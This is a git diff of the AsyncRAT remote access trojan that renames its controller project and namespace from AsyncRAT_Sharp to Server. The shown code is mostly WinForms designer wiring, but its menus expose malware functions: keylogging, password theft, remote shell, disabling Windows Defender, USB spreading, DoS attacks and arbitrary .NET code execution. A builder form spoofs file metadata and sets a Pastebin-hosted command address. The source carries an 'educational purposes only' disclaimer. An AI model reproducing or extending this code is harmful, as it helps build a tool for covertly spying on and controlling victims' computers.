diff --git a/AsyncRAT-C#/AsyncRAT-Sharp.sln b/AsyncRAT-C#/AsyncRAT-Sharp.sln index 62d96fd..6a96f0f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp.sln +++ b/AsyncRAT-C#/AsyncRAT-Sharp.sln @@ -1,9 +1,9 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 15 -VisualStudioVersion = 15.0.28307.168 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29009.5 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AsyncRAT-Sharp", "AsyncRAT-Sharp\AsyncRAT-Sharp.csproj", "{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}" EndProject diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/Server/App.config similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/App.config rename to AsyncRAT-C#/Server/App.config diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs b/AsyncRAT-C#/Server/Cryptography/Aes256.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs rename to AsyncRAT-C#/Server/Cryptography/Aes256.cs index 1423e3e..3c3288d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs +++ b/AsyncRAT-C#/Server/Cryptography/Aes256.cs @@ -7,7 +7,7 @@ using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.Cryptography +namespace Server.Cryptography { public class Aes256 { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs b/AsyncRAT-C#/Server/Cryptography/Sha256.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs rename to AsyncRAT-C#/Server/Cryptography/Sha256.cs index 55e815c..c048434 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs +++ b/AsyncRAT-C#/Server/Cryptography/Sha256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace AsyncRAT_Sharp.Cryptography +namespace Server.Cryptography { public static class Sha256 { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs rename to AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 4b9e4eb..21e6fe9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp +namespace Server { partial class Form1 { @@ -223,7 +223,7 @@ // // aBOUTToolStripMenuItem // - this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info; + this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.aBOUTToolStripMenuItem.Text = "ABOUT"; @@ -239,7 +239,7 @@ this.sENDFILEToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.tOMEMORYToolStripMenuItem, this.tODISKToolStripMenuItem}); - this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem; + this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.sENDFILEToolStripMenuItem.Text = "Send File"; @@ -267,14 +267,14 @@ this.fileManagerToolStripMenuItem1, this.processManagerToolStripMenuItem1, this.reportWindowToolStripMenuItem}); - this.monitoringToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.monitoring_system; + this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.monitoringToolStripMenuItem.Text = "Monitoring"; // // remoteDesktopToolStripMenuItem1 // - this.remoteDesktopToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop; + this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; @@ -282,7 +282,7 @@ // // keyloggerToolStripMenuItem1 // - this.keyloggerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.logger; + this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.keyloggerToolStripMenuItem1.Text = "Keylogger"; @@ -290,7 +290,7 @@ // // passwordRecoveryToolStripMenuItem1 // - this.passwordRecoveryToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.key; + this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; @@ -298,7 +298,7 @@ // // fileManagerToolStripMenuItem1 // - this.fileManagerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager; + this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.fileManagerToolStripMenuItem1.Text = "File Manager"; @@ -306,7 +306,7 @@ // // processManagerToolStripMenuItem1 // - this.processManagerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.process; + this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.processManagerToolStripMenuItem1.Text = "Process Manager"; @@ -317,7 +317,7 @@ this.reportWindowToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.runToolStripMenuItem1, this.stopToolStripMenuItem2}); - this.reportWindowToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.report; + this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.reportWindowToolStripMenuItem.Text = "Report Window"; @@ -347,14 +347,14 @@ this.remoteShellToolStripMenuItem1, this.dOSAttackToolStripMenuItem, this.executeNETCodeToolStripMenuItem}); - this.miscellaneousToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.Miscellaneous; + this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // getAdminPrivilegesToolStripMenuItem // - this.getAdminPrivilegesToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.uac; + this.getAdminPrivilegesToolStripMenuItem.Image = global::Server.Properties.Resources.uac; this.getAdminPrivilegesToolStripMenuItem.Name = "getAdminPrivilegesToolStripMenuItem"; this.getAdminPrivilegesToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.getAdminPrivilegesToolStripMenuItem.Text = "Get Admin Privileges"; @@ -362,7 +362,7 @@ // // disableWindowsDefenderToolStripMenuItem // - this.disableWindowsDefenderToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.disabled; + this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.disableWindowsDefenderToolStripMenuItem.Name = "disableWindowsDefenderToolStripMenuItem"; this.disableWindowsDefenderToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.disableWindowsDefenderToolStripMenuItem.Text = "Disable Windows Defender"; @@ -370,7 +370,7 @@ // // botsKillerToolStripMenuItem // - this.botsKillerToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller; + this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; @@ -378,7 +378,7 @@ // // uSBSpreadToolStripMenuItem1 // - this.uSBSpreadToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.usb; + this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(329, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; @@ -386,7 +386,7 @@ // // seedTorrentToolStripMenuItem1 // - this.seedTorrentToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.u_torrent_logo; + this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(329, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; @@ -394,7 +394,7 @@ // // remoteShellToolStripMenuItem1 // - this.remoteShellToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.shell; + this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(329, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; @@ -402,7 +402,7 @@ // // dOSAttackToolStripMenuItem // - this.dOSAttackToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.ddos; + this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; @@ -410,7 +410,7 @@ // // executeNETCodeToolStripMenuItem // - this.executeNETCodeToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.coding; + this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; @@ -422,14 +422,14 @@ this.visitWebsiteToolStripMenuItem1, this.sendMessageBoxToolStripMenuItem1, this.chatToolStripMenuItem1}); - this.extraToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.extra; + this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.extraToolStripMenuItem.Text = "Extra"; // // visitWebsiteToolStripMenuItem1 // - this.visitWebsiteToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.visit; + this.visitWebsiteToolStripMenuItem1.Image = global::Server.Properties.Resources.visit; this.visitWebsiteToolStripMenuItem1.Name = "visitWebsiteToolStripMenuItem1"; this.visitWebsiteToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.visitWebsiteToolStripMenuItem1.Text = "Visit Website"; @@ -437,7 +437,7 @@ // // sendMessageBoxToolStripMenuItem1 // - this.sendMessageBoxToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox; + this.sendMessageBoxToolStripMenuItem1.Image = global::Server.Properties.Resources.msgbox; this.sendMessageBoxToolStripMenuItem1.Name = "sendMessageBoxToolStripMenuItem1"; this.sendMessageBoxToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.sendMessageBoxToolStripMenuItem1.Text = "Send MessageBox"; @@ -445,7 +445,7 @@ // // chatToolStripMenuItem1 // - this.chatToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.chat; + this.chatToolStripMenuItem1.Image = global::Server.Properties.Resources.chat; this.chatToolStripMenuItem1.Name = "chatToolStripMenuItem1"; this.chatToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.chatToolStripMenuItem1.Text = "Chat"; @@ -456,7 +456,7 @@ this.systemToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.clientToolStripMenuItem, this.pCToolStripMenuItem}); - this.systemToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.system; + this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.systemToolStripMenuItem.Text = "System"; @@ -470,7 +470,7 @@ this.uninstallToolStripMenuItem, this.toolStripSeparator3, this.showFolderToolStripMenuItem}); - this.clientToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client; + this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Text = "Client"; @@ -521,7 +521,7 @@ this.logoffToolStripMenuItem1, this.restartToolStripMenuItem3, this.shutdownToolStripMenuItem1}); - this.pCToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.pc; + this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Text = "PC"; @@ -554,7 +554,7 @@ // // bUILDERToolStripMenuItem // - this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder; + this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.bUILDERToolStripMenuItem.Text = "BUILDER"; @@ -711,7 +711,7 @@ // // sTARTToolStripMenuItem // - this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button; + this.sTARTToolStripMenuItem.Image = global::Server.Properties.Resources.play_button; this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem"; this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(139, 32); this.sTARTToolStripMenuItem.Text = "START"; @@ -719,7 +719,7 @@ // // sTOPToolStripMenuItem // - this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_; + this.sTOPToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem"; this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(139, 32); this.sTOPToolStripMenuItem.Text = "STOP"; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs rename to AsyncRAT-C#/Server/Forms/Form1.cs index 0a65e29..fd90be0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -1,19 +1,19 @@ using System; using System.Windows.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; using System.Threading; using System.Drawing; using System.IO; -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.Cryptography; +using Server.Forms; +using Server.Cryptography; using System.Diagnostics; using System.Net.Sockets; -using AsyncRAT_Sharp.Handle_Packet; -using AsyncRAT_Sharp.Helper; +using Server.Handle_Packet; +using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; @@ -25,7 +25,7 @@ using System.Collections.Generic; This program Is distributed for educational purposes only. */ -namespace AsyncRAT_Sharp +namespace Server { public partial class Form1 : Form diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/Server/Forms/Form1.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx rename to AsyncRAT-C#/Server/Forms/Form1.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs index 432299f..d32b896 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormAbout { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs b/AsyncRAT-C#/Server/Forms/FormAbout.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs rename to AsyncRAT-C#/Server/Forms/FormAbout.cs index 0b5a3e2..c827860 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs +++ b/AsyncRAT-C#/Server/Forms/FormAbout.cs @@ -8,7 +8,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormAbout : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx b/AsyncRAT-C#/Server/Forms/FormAbout.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx rename to AsyncRAT-C#/Server/Forms/FormAbout.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs index ad98668..5edeec2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormBuilder { @@ -220,13 +220,13 @@ namespace AsyncRAT_Sharp.Forms // // txtPastebin // - this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtPastebin.Enabled = false; this.txtPastebin.Location = new System.Drawing.Point(106, 352); this.txtPastebin.Name = "txtPastebin"; this.txtPastebin.Size = new System.Drawing.Size(271, 26); this.txtPastebin.TabIndex = 8; - this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin; + this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin; this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); // // label6 @@ -294,13 +294,13 @@ namespace AsyncRAT_Sharp.Forms // // textFilename // - this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.textFilename.Enabled = false; this.textFilename.Location = new System.Drawing.Point(103, 92); this.textFilename.Name = "textFilename"; this.textFilename.Size = new System.Drawing.Size(271, 26); this.textFilename.TabIndex = 5; - this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename; + this.textFilename.Text = global::Server.Properties.Settings.Default.Filename; // // label3 // @@ -336,7 +336,7 @@ namespace AsyncRAT_Sharp.Forms // // pictureBox1 // - this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac; + this.pictureBox1.Image = global::Server.Properties.Resources.uac; this.pictureBox1.Location = new System.Drawing.Point(175, 72); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(32, 32); @@ -356,12 +356,12 @@ namespace AsyncRAT_Sharp.Forms // // txtMutex // - this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtMutex.Location = new System.Drawing.Point(106, 165); this.txtMutex.Name = "txtMutex"; this.txtMutex.Size = new System.Drawing.Size(271, 26); this.txtMutex.TabIndex = 11; - this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex; + this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex; // // label5 // @@ -482,63 +482,63 @@ namespace AsyncRAT_Sharp.Forms // // txtFileVersion // - this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtFileVersion.Enabled = false; this.txtFileVersion.Location = new System.Drawing.Point(159, 368); this.txtFileVersion.Name = "txtFileVersion"; this.txtFileVersion.Size = new System.Drawing.Size(337, 26); this.txtFileVersion.TabIndex = 19; - this.txtFileVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtFileVersion; + this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion; // // txtProductVersion // - this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtProductVersion.Enabled = false; this.txtProductVersion.Location = new System.Drawing.Point(159, 325); this.txtProductVersion.Name = "txtProductVersion"; this.txtProductVersion.Size = new System.Drawing.Size(337, 26); this.txtProductVersion.TabIndex = 18; - this.txtProductVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtProductVersion; + this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion; // // txtOriginalFilename // - this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtOriginalFilename.Enabled = false; this.txtOriginalFilename.Location = new System.Drawing.Point(159, 280); this.txtOriginalFilename.Name = "txtOriginalFilename"; this.txtOriginalFilename.Size = new System.Drawing.Size(337, 26); this.txtOriginalFilename.TabIndex = 17; - this.txtOriginalFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtOriginalFilename; + this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename; // // txtTrademarks // - this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtTrademarks.Enabled = false; this.txtTrademarks.Location = new System.Drawing.Point(159, 237); this.txtTrademarks.Name = "txtTrademarks"; this.txtTrademarks.Size = new System.Drawing.Size(337, 26); this.txtTrademarks.TabIndex = 16; - this.txtTrademarks.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtTrademarks; + this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks; // // txtCopyright // - this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtCopyright.Enabled = false; this.txtCopyright.Location = new System.Drawing.Point(159, 198); this.txtCopyright.Name = "txtCopyright"; this.txtCopyright.Size = new System.Drawing.Size(337, 26); this.txtCopyright.TabIndex = 15; - this.txtCopyright.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCopyright; + this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright; // // txtCompany // - this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtCompany.Enabled = false; this.txtCompany.Location = new System.Drawing.Point(159, 155); this.txtCompany.Name = "txtCompany"; this.txtCompany.Size = new System.Drawing.Size(337, 26); this.txtCompany.TabIndex = 14; - this.txtCompany.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCompany; + this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany; // // label14 // @@ -596,13 +596,13 @@ namespace AsyncRAT_Sharp.Forms // // txtDescription // - this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtDescription.Enabled = false; this.txtDescription.Location = new System.Drawing.Point(159, 112); this.txtDescription.Name = "txtDescription"; this.txtDescription.Size = new System.Drawing.Size(337, 26); this.txtDescription.TabIndex = 7; - this.txtDescription.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtDescription; + this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription; // // label7 // @@ -615,13 +615,13 @@ namespace AsyncRAT_Sharp.Forms // // txtProduct // - this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtProduct.Enabled = false; this.txtProduct.Location = new System.Drawing.Point(159, 69); this.txtProduct.Name = "txtProduct"; this.txtProduct.Size = new System.Drawing.Size(337, 26); this.txtProduct.TabIndex = 5; - this.txtProduct.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.ProductName; + this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName; // // label8 // diff --git 